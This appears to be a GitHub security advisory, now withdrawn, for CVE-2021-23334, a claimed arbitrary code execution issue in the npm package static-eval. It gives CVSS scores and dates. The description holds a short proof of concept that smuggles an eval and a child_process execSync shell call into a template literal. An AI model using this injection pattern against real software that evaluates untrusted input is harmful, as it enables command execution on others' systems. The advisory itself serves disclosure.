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Withdrawn: Arbitrary Code Execution in static-eval

Critical severity GitHub Reviewed Published May 6, 2021 to the GitHub Advisory Database • Updated Feb 1, 2023
Withdrawn This advisory was withdrawn on May 4, 2021

Package

npm static-eval (npm)

Affected versions

<= 2.1.0

Patched versions

None

Description

All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast)

WITHDRAWN

This was deemed not a vulnerability. See this issue for details.

References

Published by the National Vulnerability Database Feb 11, 2021
Reviewed Mar 18, 2021
Withdrawn May 4, 2021
Published to the GitHub Advisory Database May 6, 2021
Last updated Feb 1, 2023

Severity

Critical
9.8
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Weaknesses

CVE ID

CVE-2021-23334

GHSA ID

GHSA-8v27-2fg9-7h62

Source code

No known source code
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